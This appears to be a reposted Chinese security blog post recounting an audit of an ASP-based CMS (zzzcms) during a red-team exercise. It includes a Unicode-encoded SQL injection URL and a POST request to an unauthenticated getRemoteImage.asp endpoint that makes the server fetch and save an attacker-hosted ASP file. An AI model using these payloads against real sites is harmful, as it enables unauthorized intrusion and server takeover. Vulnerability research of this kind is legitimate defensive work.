实战 | 记一次ASP站点代码审计的利用
2022-10-31 10:4:54 Author: 寰宇卫士(查看原文) 阅读量:19 收藏

现在在酒店等国护开始,之前市hw的时候碰到的一个asp环境,因为相关的漏洞都是php版本的,而环境是asp,所以找了个源码进行审计下,这边做个记录

一个注入iis+asp,通过unicode编码配合注入发现select字符会被截断,导致无法进行利用

https://xxxxx.cn/web/xxxxx.mhtml?cid=1e2unio%u004e--xx selec%u0054~1,2,3,4,5,6

当时目标站点前台环境是在/web下的,而后台环境是在/下的,所以我不知道它前台是如何写的,跟源码对应不上,所以我这里就着重来分析后台的代码

先看 admin\index.asp,这个代码下首先会先引入zzz_admin.asp文件

<!DOCTYPE html><html><head><meta charset="utf-8"><meta http-equiv="Cache-Control" content="no-siteapp" />...
...
...
...

inc\zzz_admin.asp的鉴权代码,getsession不可控,所以只要引入的zzz_admin.asp的文件都不能利用

if getsession("adminid")="" then   if ifstrin(getNowPagePath(),adminpath) then
  aspgo sitepath&adminpath&"login.asp?act=relog"
  else
  aspgo sitepath
  end ifend if

我发现它zzz_Content中的代码全部都引入了鉴权模块zzz_admin.asp

这里还有两个相关的上传组件,分别是webuploader和ueditor,这里分别进行观察

这里的ueditor引用的是webuploader组件

因为这套zzzcms在安装的时候,默认会将当前的admin目录进行修改为admin+三位数字作为后台目录

这边的话发现的一个文件是webuploader下的一个文件,admin468/inc/webuploader/config.asp,直接访问的是可以看到对应的后台目录的,但是前提是需要知道后台目录,所以没有什么多大的用处

因为我当时的目标站点是被二次开发过的,空的话则代表默认根路径就是后台站点,实战环境下所以我这边/inc/webuploader/config.asp

这边发现webuploader的admin\inc\webuploader\getRemoteImage.asp没有对上传组件进行单独鉴权操作,如下图所示

http://192.168.4.149/admin468/inc/webuploader/getRemoteImage.asp

post:file=http://192.168.88.165:8080/en_moban.asp

回显如下,可以看到对应的文件名

可以看到已经写入了,如下图所示

原文来自「HACK学习呀」|侵删

中电运行是专业专注培养能源企业IT工匠和提供IT整体解决方案的服务商,也是能源互联网安全专家。我们每天都会分享各种IT相关内容,如果您有任何关于IT疑问,欢迎给我们留言

小白必读!寰宇卫士手把手教你栈溢出(上)

手把手教你栈溢出(中)

手把手教你栈溢出(下)

《信息安全知识》之法律关键常识汇总

CTF经验分享|带你入门带你飞!


文章来源: http://mp.weixin.qq.com/s?__biz=MzIwMzU0NDY5OA==&mid=2247495261&idx=1&sn=baba2530b90a6fa7666a428564affcdf&chksm=96cf6f48a1b8e65e350a940f299371ee42dcf06aa694eb59c4dcddfb141e3a740afddbc22969#rd
如有侵权请联系:admin#unsafe.sh